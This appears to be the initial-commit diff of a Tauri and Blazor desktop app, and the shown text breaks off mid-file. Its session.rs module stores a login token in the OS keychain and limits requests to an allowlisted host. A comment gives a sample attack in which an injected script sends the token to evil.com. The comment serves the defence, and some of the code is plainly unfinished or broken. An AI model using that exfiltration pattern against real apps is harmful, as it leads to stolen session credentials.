Initial commit.
@@ -0,0 +1,484 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from `dotnet new gitignore`
|
||||
|
||||
# dotenv files
|
||||
.env
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# Tye
|
||||
.tye/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 auto-generated project file (contains which files were open etc.)
|
||||
*.vbp
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
*.code-workspace
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# JetBrains Rider
|
||||
*.sln.iml
|
||||
.idea
|
||||
|
||||
##
|
||||
## Visual studio for Mac
|
||||
##
|
||||
|
||||
|
||||
# globs
|
||||
Makefile.in
|
||||
*.userprefs
|
||||
*.usertasks
|
||||
config.make
|
||||
config.status
|
||||
aclocal.m4
|
||||
install-sh
|
||||
autom4te.cache/
|
||||
*.tar.gz
|
||||
tarballs/
|
||||
test-results/
|
||||
|
||||
# Mac bundle stuff
|
||||
*.dmg
|
||||
*.app
|
||||
|
||||
# content below from: https://github.com/github/gitignore/blob/master/Global/macOS.gitignore
|
||||
# General
|
||||
.DS_Store
|
||||
.AppleDouble
|
||||
.LSOverride
|
||||
|
||||
# Icon must end with two \r
|
||||
Icon
|
||||
|
||||
|
||||
# Thumbnails
|
||||
._*
|
||||
|
||||
# Files that might appear in the root of a volume
|
||||
.DocumentRevisions-V100
|
||||
.fseventsd
|
||||
.Spotlight-V100
|
||||
.TemporaryItems
|
||||
.Trashes
|
||||
.VolumeIcon.icns
|
||||
.com.apple.timemachine.donotpresent
|
||||
|
||||
# Directories potentially created on remote AFP share
|
||||
.AppleDB
|
||||
.AppleDesktop
|
||||
Network Trash Folder
|
||||
Temporary Items
|
||||
.apdisk
|
||||
|
||||
# content below from: https://github.com/github/gitignore/blob/master/Global/Windows.gitignore
|
||||
# Windows thumbnail cache files
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
ehthumbs_vista.db
|
||||
|
||||
# Dump file
|
||||
*.stackdump
|
||||
|
||||
# Folder config file
|
||||
[Dd]esktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
|
||||
# Vim temporary swap files
|
||||
*.swp
|
||||
@@ -0,0 +1,7 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Generated by Tauri
|
||||
# will have schema files for capabilities auto-completion
|
||||
/gen/schemas
|
||||
@@ -0,0 +1,29 @@
|
||||
[package]
|
||||
name = "aeqw89-literarium"
|
||||
version = "0.1.0"
|
||||
description = "A Tauri App"
|
||||
authors = ["you"]
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[lib]
|
||||
# The `_lib` suffix may seem redundant but it is necessary
|
||||
# to make the lib name unique and wouldn't conflict with the bin name.
|
||||
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
|
||||
name = "aeqw89_literarium_lib"
|
||||
crate-type = ["staticlib", "cdylib", "rlib"]
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
|
||||
[dependencies]
|
||||
tauri = { version = "2", features = [] }
|
||||
tauri-plugin-opener = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
|
||||
reqwest = { version = "0.12", features = ["json"] }
|
||||
keyring = "3"
|
||||
url = "2"
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
tauri_build::build()
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"$schema": "../gen/schemas/desktop-schema.json",
|
||||
"identifier": "default",
|
||||
"description": "Capability for the main window",
|
||||
"windows": ["main"],
|
||||
"permissions": [
|
||||
"core:default",
|
||||
"opener:default"
|
||||
]
|
||||
}
|
||||
|
After Width: | Height: | Size: 3.4 KiB |
|
After Width: | Height: | Size: 6.8 KiB |
|
After Width: | Height: | Size: 974 B |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 3.8 KiB |
|
After Width: | Height: | Size: 3.9 KiB |
|
After Width: | Height: | Size: 7.6 KiB |
|
After Width: | Height: | Size: 903 B |
|
After Width: | Height: | Size: 8.4 KiB |
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 2.0 KiB |
|
After Width: | Height: | Size: 2.4 KiB |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 85 KiB |
|
After Width: | Height: | Size: 14 KiB |
@@ -0,0 +1,23 @@
|
||||
mod session;
|
||||
|
||||
// Learn more about Tauri commands at https://tauri.app/develop/calling-rust/
|
||||
#[tauri::command]
|
||||
fn greet(name: &str) -> String {
|
||||
format!("Hello, {}! You've been greeted from Rust!", name)
|
||||
}
|
||||
|
||||
#[cfg_attr(mobile, tauri::mobile_entry_point)]
|
||||
pub fn run() {
|
||||
tauri::Builder::default()
|
||||
.plugin(tauri_plugin_opener::init())
|
||||
.invoke_handler(tauri::generate_handler![greet])
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
session::isLoggedIn,
|
||||
session::sendGet,
|
||||
session::sendPost,
|
||||
session::signIn,
|
||||
session::logout,
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
|
||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||
|
||||
fn main() {
|
||||
aeqw89_literarium_lib::run()
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
//! session.rs — authenticated request layer for the Tauri (Rust) side.
|
||||
//!
|
||||
//! The session token lives ONLY here: at rest in the OS keychain, and in an
|
||||
//! in-memory copy for the lifetime of the process. The webview never receives
|
||||
//! it — commands return response *data*, never the token itself. Even a script
|
||||
//! injected into the Blazor frontend can ask Rust to make requests while the app
|
||||
//! is open, but it cannot read the durable credential or exfiltrate it.
|
||||
|
||||
use std::sync::Mutex;
|
||||
|
||||
use serde::Serialize;
|
||||
use tauri::State;
|
||||
|
||||
// --- Configuration ---------------------------------------------------------
|
||||
|
||||
const VERIFY_URL: &str = "https://main.qwsdcvghyu.com/session/verify";
|
||||
const SIGNIN_URL: &str = "https://main.qwsdcvghyu.com/session/signin-app/";
|
||||
|
||||
/// Only this host (and its subdomains) ever receives the session cookie.
|
||||
/// `sendGet`/`sendPost` take a URL from the frontend, so without this guard an
|
||||
/// injected script could call `sendGet("https://evil.com")` and your token would
|
||||
/// be attached and shipped straight to an attacker. Requests to any other host
|
||||
/// are rejected before a connection is opened.
|
||||
const ALLOWED_HOST: &str = "qwsdcvghyu.com";
|
||||
|
||||
// Keychain identifiers. SERVICE should be unique to your app (reverse-DNS is
|
||||
// the convention); ACCOUNT distinguishes this secret from any others you store.
|
||||
const KEYRING_SERVICE: &str = "com.qwsdcvghyu.literarium";
|
||||
const KEYRING_ACCOUNT: &str = "session";
|
||||
|
||||
// --- Keychain helpers ------------------------------------------------------
|
||||
|
||||
fn keyring_entry() -> keyring::Result<keyring::Entry> {
|
||||
keyring::Entry::new(KEYRING_SERVICE, KEYRING_ACCOUNT)
|
||||
}
|
||||
|
||||
fn persist_token(token: &str) -> keyring::Result<()> {
|
||||
keyring_entry()?.set_password(token)
|
||||
}
|
||||
|
||||
fn load_persisted_token() -> Option<String> {
|
||||
// A missing entry (first launch, or after logout) is the normal "no token"
|
||||
// case, so any error here just means "not logged in".
|
||||
keyring_entry().ok()?.get_password().ok()
|
||||
}
|
||||
|
||||
fn clear_persisted_token() -> keyring::Result<()> {
|
||||
// `delete_credential` is the keyring 3.x name; it was `delete_password` in 2.x.
|
||||
match keyring_entry()?.delete_credential() {
|
||||
Ok(()) => Ok(()),
|
||||
Err(keyring::Error::NoEntry) => Ok(()), // already gone — treat as success
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
// --- State -----------------------------------------------------------------
|
||||
|
||||
pub struct SessionState {
|
||||
client: reqwest::Client,
|
||||
token: Mutex<Option<String>>,
|
||||
}
|
||||
|
||||
impl SessionState {
|
||||
/// Build the state and load any previously stored token from the keychain.
|
||||
/// Wire this into your builder with `.manage(session::SessionState::init())`.
|
||||
pub fn init() -> Self {
|
||||
SessionState {
|
||||
client: reqwest::Client::new(),
|
||||
token: Mutex::new(load_persisted_token()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Copy the current token out. We never hold the std Mutex across an `.await`
|
||||
/// (that would risk a deadlock and isn't `Send`-safe), so callers clone the
|
||||
/// value out first and release the lock immediately.
|
||||
fn token(&self) -> Option<String> {
|
||||
self.token.lock().unwrap().clone()
|
||||
}
|
||||
|
||||
fn set_token(&self, value: Option<String>) {
|
||||
*self.token.lock().unwrap() = value;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Shared types ----------------------------------------------------------
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct HttpResponse {
|
||||
pub status: u16,
|
||||
pub body: String,
|
||||
}
|
||||
|
||||
// --- URL guard -------------------------------------------------------------
|
||||
|
||||
/// Require https and our own domain before attaching the session cookie.
|
||||
fn check_url(raw: &str) -> Result<url::Url, String> {
|
||||
let url = url::Url::parse(raw).map_err(|e| format!("invalid url: {e}"))?;
|
||||
if url.scheme() != "https" {
|
||||
return Err("refusing non-https request".into());
|
||||
}
|
||||
match url.host_str() {
|
||||
// The leading dot in the suffix check prevents `evilqwsdcvghyu.com`
|
||||
// from sneaking past as a fake subdomain.
|
||||
Some(host)
|
||||
if host == ALLOWED_HOST || host.ends_with(&format!(".{ALLOWED_HOST}")) =>
|
||||
{
|
||||
Ok(url)
|
||||
}
|
||||
_ => Err("refusing to send the session cookie to a non-allowlisted host".into()),
|
||||
}
|
||||
}
|
||||
|
||||
// --- Commands --------------------------------------------------------------
|
||||
|
||||
/// True iff a token is stored AND the server confirms it at /session/verify.
|
||||
/// Any other outcome — no token, a 403, or a transient network failure — reads
|
||||
/// as `false`. (If you'd rather distinguish "offline" from "logged out", surface
|
||||
/// the network error as `Err` instead of folding it into `Ok(false)`.)
|
||||
#[allow(non_snake_case)]
|
||||
#[tauri::command]
|
||||
pub async fn isLoggedIn(state: State<'_, SessionState>) -> Result<bool, String> {
|
||||
let Some(token) = state.token() else {
|
||||
return Ok(false); // no token: skip the round-trip entirely
|
||||
};
|
||||
|
||||
let resp = state
|
||||
.client
|
||||
.get(VERIFY_URL)
|
||||
.header(reqwest::header::COOKIE, format!("session={token}"))
|
||||
.send()
|
||||
.await;
|
||||
|
||||
match resp {
|
||||
Ok(r) => Ok(r.status().as_u16() == 200),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// GET `uri` (must be https + on the allowlisted host), attaching the stored
|
||||
/// session token as the `session` cookie if one is present. Returns the response
|
||||
/// status and body — never the token.
|
||||
#[allow(non_snake_case)]
|
||||
#[tauri::command]
|
||||
pub async fn sendGet(
|
||||
uri: String,
|
||||
state: State<'_, SessionState>,
|
||||
) -> Result<HttpResponse, String> {
|
||||
let url = check_url(&uri)?;
|
||||
|
||||
let mut req = state.client.get(url);
|
||||
if let Some(token) = state.token() {
|
||||
req = req.header(reqwest::header::COOKIE, format!("session={token}"));
|
||||
}
|
||||
|
||||
let resp = req.send().await.map_err(|e| format!("request failed: {e}"))?;
|
||||
let status = resp.status().as_u16();
|
||||
let body = resp.text().await.map_err(|e| format!("failed to read body: {e}"))?;
|
||||
Ok(HttpResponse { status, body })
|
||||
}
|
||||
|
||||
/// POST `body` (a JSON string serialized on the Blazor side) to `uri` with
|
||||
/// Content-Type application/json, attaching the `session` cookie if present.
|
||||
#[allow(non_snake_case)]
|
||||
#[tauri::command]
|
||||
pub async fn sendPost(
|
||||
uri: String,
|
||||
body: String,
|
||||
state: State<'_, SessionState>,
|
||||
) -> Result<HttpResponse, String> {
|
||||
let url = check_url(&uri)?;
|
||||
|
||||
let mut req = state
|
||||
.client
|
||||
.post(url)
|
||||
.header(reqwest::header::CONTENT_TYPE, "application/json")
|
||||
.body(body);
|
||||
if let Some(token) = state.token() {
|
||||
req = req.header(reqwest::header::COOKIE, format!("session={token}"));
|
||||
}
|
||||
|
||||
let resp = req.send().await.map_err(|e| format!("request failed: {e}"))?;
|
||||
let status = resp.status().as_u16();
|
||||
let body = resp.text().await.map_err(|e| format!("failed to read body: {e}"))?;
|
||||
Ok(HttpResponse { status, body })
|
||||
}
|
||||
|
||||
// --- Sign-in / sign-out ----------------------------------------------------
|
||||
// Not in your list of three, but the keychain has to be populated somehow:
|
||||
// without these, `isLoggedIn` and `sendGet`/`sendPost` have no token to send.
|
||||
// Note `signIn` returns Ok(()) — it captures the token and stores it; it does
|
||||
// NOT hand the raw token back to the webview. (For the same reason, never point
|
||||
// `sendPost` at the signin endpoint: its 200 body contains the token, which
|
||||
// would then land in the frontend, defeating the whole arrangement.)
|
||||
|
||||
/// Authenticate against /session/signin-app/ and store the returned token in the
|
||||
/// keychain. The hCaptcha token is solved in the webview and passed in here.
|
||||
#[tauri::command]
|
||||
pub async fn signIn(
|
||||
username: String,
|
||||
password: String,
|
||||
captcha: String,
|
||||
state: State<'_, SessionState>,
|
||||
) -> Result<(), String> {
|
||||
let payload = serde_json::json!({
|
||||
"username": username,
|
||||
"password": password,
|
||||
"h-captcha-response": captcha,
|
||||
});
|
||||
|
||||
let resp = state
|
||||
.client
|
||||
.post(SIGNIN_URL)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("request failed: {e}"))?;
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
let value: serde_json::Value = resp
|
||||
.json()
|
||||
.await
|
||||
.map_err(|e| format!("failed to parse response: {e}"))?;
|
||||
|
||||
if status == 200 {
|
||||
let token = value
|
||||
.get("session")
|
||||
.and_then(|s| s.as_str())
|
||||
.ok_or("login succeeded but the response had no `session` field")?
|
||||
.to_owned();
|
||||
|
||||
persist_token(&token).map_err(|e| format!("failed to store token: {e}"))?;
|
||||
state.set_token(Some(token));
|
||||
Ok(())
|
||||
} else {
|
||||
// Failure responses carry { failed: true, message: string }.
|
||||
let message = value
|
||||
.get("message")
|
||||
.and_then(|m| m.as_str())
|
||||
.unwrap_or("login failed");
|
||||
Err(message.to_owned())
|
||||
}
|
||||
}
|
||||
|
||||
/// Forget the session locally (keychain + in-memory copy).
|
||||
#[tauri::command]
|
||||
pub fn logout(state: State<'_, SessionState>) -> Result<(), String> {
|
||||
state.set_token(None);
|
||||
clear_persisted_token().map_err(|e| format!("failed to clear token: {e}"))
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "aeqw89-literarium",
|
||||
"version": "0.1.0",
|
||||
"identifier": "com.qwsdcvghuy89.literarium",
|
||||
"build": {
|
||||
"beforeDevCommand": "dotnet watch run --project src/Aeqw89Literarium.csproj",
|
||||
"devUrl": "http://localhost:1420",
|
||||
"beforeBuildCommand": "dotnet publish -c release src/Aeqw89Literarium.csproj -o dist",
|
||||
"frontendDist": "../dist/wwwroot"
|
||||
},
|
||||
"app": {
|
||||
"withGlobalTauri": true,
|
||||
"windows": [
|
||||
{
|
||||
"title": "aeqw89-literarium",
|
||||
"width": 800,
|
||||
"height": 600
|
||||
}
|
||||
],
|
||||
"security": {
|
||||
"csp": null
|
||||
}
|
||||
},
|
||||
"bundle": {
|
||||
"active": true,
|
||||
"targets": "all",
|
||||
"icon": [
|
||||
"icons/32x32.png",
|
||||
"icons/128x128.png",
|
||||
"icons/128x128@2x.png",
|
||||
"icons/icon.icns",
|
||||
"icons/icon.ico"
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk.BlazorWebAssembly">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net8.0</TargetFramework>
|
||||
<Nullable>enable</Nullable>
|
||||
<ImplicitUsings>enable</ImplicitUsings>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly" Version="8.0.19" />
|
||||
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly.DevServer" Version="8.0.19" PrivateAssets="all" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -0,0 +1,9 @@
|
||||
<Router AppAssembly="@typeof(App).Assembly">
|
||||
<Found Context="routeData">
|
||||
<RouteView RouteData="@routeData" />
|
||||
</Found>
|
||||
<NotFound>
|
||||
<PageTitle>Not found</PageTitle>
|
||||
<p role="alert">Sorry, there's nothing at this address.</p>
|
||||
</NotFound>
|
||||
</Router>
|
||||
@@ -0,0 +1,20 @@
|
||||
<div class="paragraph-container">
|
||||
@foreach(var paragraph in Paragraphs) {
|
||||
<p>@paragraph.content</p>
|
||||
}
|
||||
</div>
|
||||
|
||||
|
||||
<style>
|
||||
.paragraph-contianer {
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
gap: 1rem;
|
||||
}
|
||||
</style>
|
||||
|
||||
@code {
|
||||
[Parameter]
|
||||
public List<Paragraph> Paragraphs { get; set; } = [];
|
||||
public record Paragraph(string content);
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
@inject ILogger<LoadingBox> Logger
|
||||
@implements IDisposable
|
||||
|
||||
<div class="loading-box">
|
||||
<div style="display: @((RetryIn is not null && (DateTime.Now - _st)) ? "block" : "hidden")">
|
||||
<p>Failed. Retrying in @LoadingTimeExpression</p>
|
||||
<button @onclick="InvokeRetryNow">Retry now?</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.loading-box {
|
||||
width: 100%;
|
||||
border-radius: 8px;
|
||||
background: linear-gradient(
|
||||
70deg,
|
||||
var(--secondary) 0 65%,
|
||||
var(--primary) 65% 75%,
|
||||
var(--secondary) 75% 100%
|
||||
);
|
||||
background-size: 200% 100%;
|
||||
animation: skeleton-shimmer 3.5s infinite linear;
|
||||
display: flex;
|
||||
margin-inline: auto;
|
||||
}
|
||||
|
||||
.loading-box div {
|
||||
width: 8rem;
|
||||
height: 4rem;
|
||||
margin: auto;
|
||||
border-radius: 1rem;
|
||||
@* background-color: var(--primary-dark); *@
|
||||
color: var(--primary);
|
||||
font-weight: lighter;
|
||||
font-style: italic;
|
||||
font-family: inherit;
|
||||
font-size: small;
|
||||
vertical-align: center;
|
||||
text-align: center;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
|
||||
opacity: 1;
|
||||
transition: opacity 3s ease-in-out;
|
||||
|
||||
@@starting-style {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.loading-box div p {
|
||||
|
||||
}
|
||||
|
||||
@@keyframes skeleton-shimmer {
|
||||
0% { background-position: 200% 0; }
|
||||
100% { background-position: -200% 0; }
|
||||
}
|
||||
</style>
|
||||
|
||||
@code {
|
||||
[Parameter]
|
||||
public DateTime? RetryIn { get; set; }
|
||||
[Parameter]
|
||||
